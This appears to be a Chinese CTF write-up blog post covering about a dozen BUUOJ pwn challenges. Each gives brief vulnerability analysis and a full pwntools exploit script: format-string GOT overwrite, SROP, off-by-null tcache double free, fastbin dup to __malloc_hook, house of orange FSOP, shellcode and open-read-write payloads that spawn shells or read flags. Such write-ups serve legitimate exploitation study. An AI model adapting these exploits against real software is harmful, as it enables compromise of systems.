#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./ciscn_2019_sw_1"
#p=process(pwn)
p=remote("node5.buuoj.cn",27145)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#---------------------------------------------------------------------------------------------------
fini=0x804979C
main=0x8048534
call_system=0x80483d0
printf=0x804989c
#debug('b *0x8048589')
payload=b'%'+str(0x804).encode()+b'c%13$hn'+b'%'+str(0x83d0-0x804).encode()+b'c%14$hn'+b'%'+str(0x164).encode()+b'c%15$hn'+p32(printf+2)+p32(printf)+p32(fini)
p.sendlineafter("name?\n",payload)
sleep(1)
p.sendline(b'/bin/sh\x00')
p.interactive()

21、picoctf_2018_are you root

getflag

 主函数应该是菜单堆题了,但是做的感觉有点抽象,在申请堆块的时候会申请两个0x21大小的chunk,前一个chunk保存后一个chunk的地址,+8保留的是auth,且free的时候只会free后一个chunk,且内容不做清空,则可以把5写上去再进行申请就能直接getflag

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
#context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./PicoCTF_2018_are_you_root"
#p=process(pwn)
p=remote("node5.buuoj.cn",28319)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def get_flag():
      p.sendlineafter("> ",b'get-flag')

def show():
      p.sendlineafter("> ",b'show')

def login(context):
      p.sendlineafter("> ",b'login '+context)

def delete():
      p.sendlineafter("> ",b'reset')

def setauth(context):
      p.sendlineafter("> ",b'set-auth '+context)

login(b'aaaaaaaa'+p64(5))
delete()
login(b'aaaaa')
get_flag()
#debug()
p.interactive()

22、rootersctf_2019_srop

 ida打开,总共就三个函数调用,srop

 能够控制rax即能进行srop,把/bin/sh写到buf上,即我们先需要调用read函数读入

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./rootersctf_2019_srop"
#p=process(pwn)
p=remote("node5.buuoj.cn",29416)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
#debug('b *0x401000')

syscall=0x401033
pop_rax=0x401032

sr=SigreturnFrame()
sr.rax=constants.SYS_read
sr.rdi=0
sr.rsi=0x402000
sr.rdx=0x100
sr.rip=syscall
sr.rbp=0x402000+0x20

p.recv()
payload=b'a'*0x88+p64(pop_rax)+p64(0xf)+flat(sr)
p.sendline(payload)
#pause()
st=SigreturnFrame()
st.rax=constants.SYS_execve
st.rdi=0x402000
st.rsi=0
st.rdx=0
st.rcx=0
st.rip=syscall

payload=b'/bin/sh\x00'+b'a'*0x20+p64(pop_rax)+p64(0xf)+flat(st)
p.sendline(payload)

p.interactive()

23、hitcon_2018_children_tcache

 保护全开,ida打开,菜单堆题,增删查,增加自定义大小的chunk不能超过0x2000大小,且bss段记录chunk的地址和size

 下面是delete和show,展示函数调用puts打印bss上chunk的内容,两个函数都挺正常的,但是free的函数会将我们释放的chunk的内容都填入\xda的数据

chk应该是正确读入的数据个数,这个函数应该是检查读入的最后一位是否为换行符,是就改为0x00,则应该无溢出

 该函数存在offbynull漏洞,在create函数处,strcpy会造成off by null 漏洞,在末尾加上b'\x00',现在先通过off by null 进行堆块重叠,且libc为2.27版本的,则有tcachebin,则第一个和第三个申请大于0x400size的chunk,

create(0x420)  #chunk 0
create(0x68)  #chunk 1
create(0x4f0) #chunk 2
create(0x10)  #chunk 3
delete(1)
delete(0)   #没有edit的函数,则只能将该chunk进行 free,为之后申请chunk造成off by null 做准备
for i in range(9):        #这里因为我们freechunk之后每个字节会被填入b'\xda'的无用数据,影响了拓展释放块的prevsize位,则通过不断循环,通过off by null不断清空prevsize
     create(0x68-i,b'a'*(0x68-i))
     delete(0)

create(0x68,b'a'*0x60+p64(0x4a0)) #chunk 0
delete(2)   #如下图可以看到已经合并了

 之后就是再申请一个跟原先chunk0大小相同的堆块,则我们的chunk0的指针和chunk 1(size为0x71的chunk)的指针没有在拓展被释放chunk的时候清空,在申请完一个chunk后,chunk0的指针指向了unsorted ,可以show泄露libc基地址

create(0x420) #chunk 1
show(0)
malloc=u64(p.recv(6).ljust(8,b'\x00'))-96-0x10
libcbase=malloc-libc.sym['__malloc_hook']
print(hex(libcbase))
ogg=libcbase+0x4f322

  create(0x68,b'a') delete(0) delete(2) 在申请了一个0x68大小的chunk之后,发现chunk0,chunk2的指针指向同一地址,则可以进行doublefree,则能够覆盖__malloc_hook

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
#context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./HITCON_2018_children_tcache"
#p=process(pwn)
p=remote("node5.buuoj.cn",25603)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#---------------------------------------------------------------------------------------------------
def create(size,context=b'a'):
      p.sendlineafter("Your choice: ",str(1))
      p.sendlineafter("Size:",str(size))
      p.sendlineafter("Data:",context)
      
def delete(index):
      p.sendlineafter("Your choice: ",str(3))
      p.sendlineafter("Index:",str(index))

def show(index):
      p.sendlineafter("Your choice: ",str(2))
      p.sendlineafter("Index:",str(index))

create(0x420)  #chunk 0
create(0x68)  #chunk 1
create(0x4f0) #chunk 2
create(0x10)  #chunk 3
delete(1)
delete(0)

for i in range(9):
     create(0x68-i,b'a'*(0x68-i))
     delete(0)


create(0x68,b'a'*0x60+p64(0x4a0)) #chunk 0
delete(2)  
create(0x420) #chunk 1
show(0)
malloc=u64(p.recv(6).ljust(8,b'\x00'))-96-0x10
libcbase=malloc-libc.sym['__malloc_hook']
print(hex(libcbase))
ogg=libcbase+0x4f322

create(0x68,b'a')
delete(0)
delete(2)

create(0x68,p64(malloc))
create(0x68,b'a')
create(0x68,p64(ogg))
p.sendlineafter("Your choice: ",str(1))
p.sendlineafter("Size:",str(1))

#debug()
p.interactive()

24、hgame2018_flag_server

 下图对输入的v5进行限制,但是没有对负数进行检查,即整数溢出,则直接覆盖v10

p.sendlineafter(" length: ",str(-1))
p.sendlineafter("username?\n",b'a'*0x40+b'\x01')

25、[BSidesCF 2019]Runit

 

 直接写入shellcode就行了

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./runit"
#p=process(pwn)
p=remote("node5.buuoj.cn",28993)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
payload=asm(shellcraft.sh())
p.sendafter("stuff!!\n",payload)
p.interactive()

26、qctf2018_stack2

 32位,ida打开,存在后门函数

 修改函数没验证大小

 注意v13是char类型的,偏移要gdb动调退出看看最后的返回地址

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./stack2"
#p=process(pwn)
p=remote("node5.buuoj.cn",28012)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-i-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so")

#---------------------------------------------------------------------------------------------------
p.sendlineafter("have:",str(1))
p.sendlineafter("numbers\n",str(1))
backdoor=0x804859B
for i in range(4):
    p.sendlineafter("5. exit",str(3))    
    p.sendlineafter("change:\n",str(0x84+i))
    p.sendlineafter("number:\n",str(backdoor>>8*i))
#debug()
p.sendlineafter("5. exit",str(5))

p.interactive()

27、pwnable_asm

 

 沙箱题目,给了open,write,read,exit,exit_group,chroot("/home/asm_pwn"); 这行代码是用来在Unix-like操作系统中改变根目录的。翻译成中文就是:复制将当前进程的根目录更改为 /home/asm_pwn。chroot 命令用于将进程的根文件系统更改为指定的目录。这样做可以限制进程对文件系统的访问,增强系统安全。在这个例子中,进程将被限制在 /home/asm_pwn 目录及其子目录中进行操作。

 这道题先是通过mmap分配了一段s指向的可读可写可执行的区域,之后在s指向的区域将一段字符串stub覆盖,再在字符串后面进行读入0x3e8个字节大小的内容,再调用了chroot函数,将我们限制在/home目录或者/asm_pwn目录下,再调用s指向的函数

 这个比前面的一道题要简单的多,自己构造读取flag的链就行

from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./asm"
#p=process(pwn)
p=remote("node5.buuoj.cn",27461)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
mmap=0x41414000+0x100
orw=asm(shellcraft.open('/flag')+shellcraft.read(3,mmap,0x30)+shellcraft.write(1,mmap,0x30))
p.sendlineafter("shellcode: ",orw)
p.interactive()

28、gyctf_2020_some_thing_interesting

 保护全开,ida打开,菜单堆题,增删改查

增能一次增加两个chunk,且大小限制在0~0x70,且在bss段存放的结构是resize,optr,osize,reptr

修改函数没什么问题,修改时要两种chunk一起修改

 free函数存在uaf漏洞,

这两个函数能够造成libc的基地址泄露,存在格式化字符串漏洞,有点意思

p.sendafter("code please:",b'OreOOrereOOreO%17$p')
code()
p.recvuntil("OreOOrereOOreO")
libcbase=int(p.recv(14),16)-240-libc.sym['__libc_start_main']
print(hex(libcbase))

那因为有uaf漏洞,且libc基地址已知,又有0x60大小的chunk申请,那就用__malloc_hook,直接fastbindup

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./gyctf_2020_some_thing_interesting"
#p=process(pwn)
p=remote("node5.buuoj.cn",25177)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def create(olength,ocontext,relength,recontext):
     p.sendlineafter("want to do :",str(1))
     p.sendlineafter("length : ",str(olength))
     p.sendlineafter("> O : ",ocontext)
     p.sendlineafter("length : ",str(relength))
     p.sendlineafter("> RE : ",recontext)

def edit(index,ocontext,recontext):
     p.sendlineafter("want to do :",str(2))
     p.sendlineafter("Oreo ID : ",str(index))
     p.sendlineafter("> O : ",ocontext)
     p.sendlineafter("> RE : ",recontext)

def delete(index):
     p.sendlineafter("want to do :",str(3))
     p.sendlineafter("> Oreo ID : ",str(index))

def show(index):
     p.sendlineafter("want to do :",str(4))
     p.sendlineafter("> Oreo ID : ",str(index))

def code():
      p.sendlineafter("want to do :",str(0))

#debug('b $rebase*(0x15B5)')
p.sendafter("code please:",b'OreOOrereOOreO%17$p')
code()
p.recvuntil("OreOOrereOOreO")
libcbase=int(p.recv(14),16)-240-libc.sym['__libc_start_main']
print(hex(libcbase))
malloc=libcbase+libc.sym['__malloc_hook']
ogg=libcbase+0xf1147
create(0x60,b'aa',0x60,b'aaa')
delete(1)
edit(1,p64(malloc-0x23),p64(malloc-0x23))
create(0x60,b'aa',0x60,b'a'*0x13+p64(ogg))
p.sendlineafter("want to do :",str(1))
p.sendlineafter("length : ",str(1))
p.interactive()

29、zctf_2016_note3

 菜单堆题,只有增删改三个功能,增加chunk大小限制为0~0x400的chunk,这里将原表示chunk的size大小的地址被chunk的指针覆盖

 删除函数,chunksize存放的指针与释放的指针会进行一次判断,如果相同则会进行清空,不然只清空该chunk的指针

修改函数

 该下图函数则i为无符号函数,存在整数溢出漏洞,就可以进行堆溢出

 接下来就是fastbinattack,要注意修改函数调用的是上图的函数,则我们在修改got表的时候发送七个字节就行,第八个字节该函数会自动补0

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./zctf_2016_note3"
#p=process(pwn)
p=remote("node5.buuoj.cn",28846)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def create(size,context=b'a'):
     p.sendlineafter("option--->>\n",str(1))
     p.sendlineafter("note content:(less than 1024)\n",str(size).encode())
     p.sendlineafter("note content:\n",context)

def edit(index,context):
     p.sendlineafter("option--->>\n",str(3))
     p.sendlineafter("the note:\n",str(index))
     p.sendlineafter("new content:\n",context)
     
def delete(index):
     p.sendlineafter("option--->>\n",str(4))
     p.sendlineafter("the note:\n",str(index))
ptr=0x6020C0

create(0)  #chunk 0
create(0x60) #chunk 1
create(0x60) #chunk 2
create(0x10) #chunk 3
delete(2)
delete(1)
edit(0,p64(0)*3+p64(0x71)+p64(ptr-0x13))
create(0x60)        #chunk 1
create(0x60,b'a'*0xb+p64(elf.got['free'])+p64(elf.got['atoi'])+p64(0x6020b8))  #chunk 2
edit(0,p64(elf.plt['puts'])[:-1])
delete(1)
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['atoi']
print(hex(libcbase))
sys_addr=libcbase+libc.sym['system']
edit(0,p64(sys_addr)[:-1])
create(0x10,b'/bin/sh\x00')
delete(1)

#debug()
p.interactive()

30、houseoforange_hitcon_2016

 保护全开,ida打开,只有增改查三个功能,下图增,先malloc0x10,再输入namechunk,大小小于0x1000的自定义chunk,再calloc一个0x8大小的chunk,申请功能只能进行4次

 感觉看不出这个啥差别啊,这个see函数,还是看代码能力弱了

 upgrate函数,更新函数只有3次,且在更改函数内容的时候没有进行size的限制,导致堆溢出漏洞

 进行fsop的利用

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./houseoforange_hitcon_2016"
#p=process(pwn)
p=remote("node5.buuoj.cn",27644)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def create(nlength,name=b'a',price=1,color=1):
    p.sendlineafter("Your choice : ",str(1))
    p.sendlineafter("Length of name :",str(nlength))
    p.sendafter("Name :",name)
    p.sendlineafter("Price of Orange:",str(price))
    p.sendlineafter("Color of Orange:",str(color))
    
def show():
    p.sendlineafter("Your choice : ",str(2))

def edit(nlength,name,price=1,color=1):
    p.sendlineafter("Your choice : ",str(3))
    p.sendlineafter("Length of name :",str(nlength))
    p.sendafter("Name:",name)
    p.sendlineafter("Price of Orange:",str(price))
    p.sendlineafter("Color of Orange:",str(color))


create(0x10)
edit(-1, p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0xfa1), b'1')
create(0xfb0)
create(0x400, b'a'*8)
show()
main_arena_1640 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = main_arena_1640 - 1640 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase -> ', hex(libcbase))
 
edit(-1, b'a'*12 + b'stop', b'1')
show()
p.recvuntil('stop')
heap_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0xc0
print(' heap_addr -> ', hex(heap_addr))
 
# FSROP
system = libcbase + libc.sym['system']
IO_list_all = libcbase + libc.sym['_IO_list_all']
 
payload = b'a' * 0x400 + p64(0) + p64(0x21) + b'a'*0x10
fake_file = b'/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(IO_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0, b'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_addr + 0x5C8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
 
edit(-1, payload, b'1')
#debug()

p.sendlineafter(b'choice : ', '1')
p.interactive()

31、gyctf_2020_document

 保护全开,ida打开,菜单堆题,创建两个固定大小的堆块

 show函数

 释放存在uaf

 uaf则可以泄露libc的基地址,这道题主要就是先malloc两次,然后把chunk0free,通过uaf泄露libc基址,然后再申请两次,因为已经有unsortedbinchunkj,则分配时小的chunk从smallbin进行切割,但是chunk0可以进行修改,这道题有意思的点在于你通过修改的函数地址是原bss段的chunk的指向chunk的地址还要加16个字节,则我们申请一个chunk只能控制chunk2的小size位置的后8位字节开始修改,则需要申请两次,两次小chunk都由smallbin进行切割,之后注意edit的位置,则就可以拿到shell了

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
if(c):
gdb.attach(p,c)
else:
gdb.attach(p)
pause()
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./gyctf_2020_document"
#p=process(pwn)
p=remote("node5.buuoj.cn",28591)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def create(name,sex,context):
p.sendlineafter("choice : \n",str(1))
p.sendafter("name\n",name)
p.sendafter("sex\n",sex)
p.sendlineafter("information\n",context)

def show(index):
p.sendlineafter("choice : \n",str(2))
p.sendlineafter("index : \n",str(index))

def edit(index,sex,context):
p.sendlineafter("choice : \n",str(3))
p.sendlineafter("index : \n",str(index))
p.sendlineafter("sex?\n",sex)
p.sendlineafter("information\n",context)

def delete(index):
p.sendlineafter("choice : \n",str(4))
p.sendlineafter("index : \n",str(index))

create(b'aaaaaaaa',b'W',b'c'*0x70) #chunk 0
create(b'aaaaaaaa',b'W',b'/bin/sh\x00'*14) #chunk 1
delete(0)
show(0)
malloc=u64(p.recv(6).ljust(8,b'\x00'))-88-0x10
libcbase=malloc-libc.sym['__malloc_hook']
freehook=libcbase+libc.sym['__free_hook']-0x10
sys_addr=libcbase+libc.sym['system']
print(hex(libcbase))
create(b'/bin/sh\x00',b'W',b'/bin/sh\x00'*14) #chunk 2
create(b'/bin/sh\x00',b'W',b'c'*0x70) #chunk 3
edit(0,b'a',b'a'*8+p64(0x21)+p64(freehook)+p64(1)+b'a'*8+p64(0x51)+p64(0)*8)
edit(3,b'c',p64(sys_addr)+b'a'*0x68)
delete(2)
#debug()
p.interactive()

ciscn_2019_final_5

 菜单堆题,只有增加删除修改,增加函数,先输入chunk的索引,然后输入大小,size要小于等于0x1000的大小,采用read函数读取内容,没有对末位进行处理,则有可能进行信息泄露,然后将chunk的地址和大小存放在bss段上,删除功能,先取索引,后对存放chunk地址进行判断,后进行free功能,且发现索引的位置放在chunkptr的最低位,通过对free功能和修改功能的阅读,发现在定位chunk的地址的时候,会对bss上的chunk的地址进行取最低位进行索引的操作,而0,和16在16进制的时候都为零,则能产生chunk溢出0x10的情况

 如上图看到我们已经得到了越界写的,也就是堆溢出,那就可以进行unlink,这是方便的,且我们也可以修改topchunk进行house of force的攻击,都可以,有tcache bin,但是允许我们申请的chunk限制在0x1000大小,绰绰有余了

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause() 
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./ciscn_final_5"
#p=process(pwn)
p=remote("node5.buuoj.cn","27218")
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
libc=ELF("/home/casual/Desktop/libc.so.6")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#-------------------------------------------------------------------------------------------------------
def create(index,size,context=b'aaa\n'):
     p.sendlineafter("your choice: ",str(1))
     p.sendlineafter("index: ",str(index))
     p.sendlineafter("size: ",str(size))
     p.sendafter("content: ",context)
     p.recvuntil("bits: 0x")
     low=int(p.recv(3),16)
     return low

def delete(index):
     p.sendlineafter("your choice: ",str(2))     
     p.sendlineafter("index: ",str(index))

def edit(index,context=b'aaaa\n'):
     p.sendlineafter("your choice: ",str(3))
     p.sendlineafter("index: ",str(index))
     p.sendafter("content: ",context)

ptr=0x6020e0
create(16,0x28)
create(1,0x20)
delete(1)
edit(0,b'a'*0x18+p64(0x31)+p64(0x6020e0))
create(1,0x20)
create(6,0x20,p64(elf.got['free'])+p64(elf.got['puts']))
edit(8,p64(elf.plt['puts'])*2)
delete(0)
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libcbase))
sys_addr=libcbase+libc.sym['system']
edit(8,p64(sys_addr)*2)
create(5,0x10,b'/bin/sh\x00')
delete(5)
#debug()

p.interactive()

 

 

 

 

 

posted @ 2024-03-19 18:31  fheap  阅读(29)  评论(0编辑  收藏  举报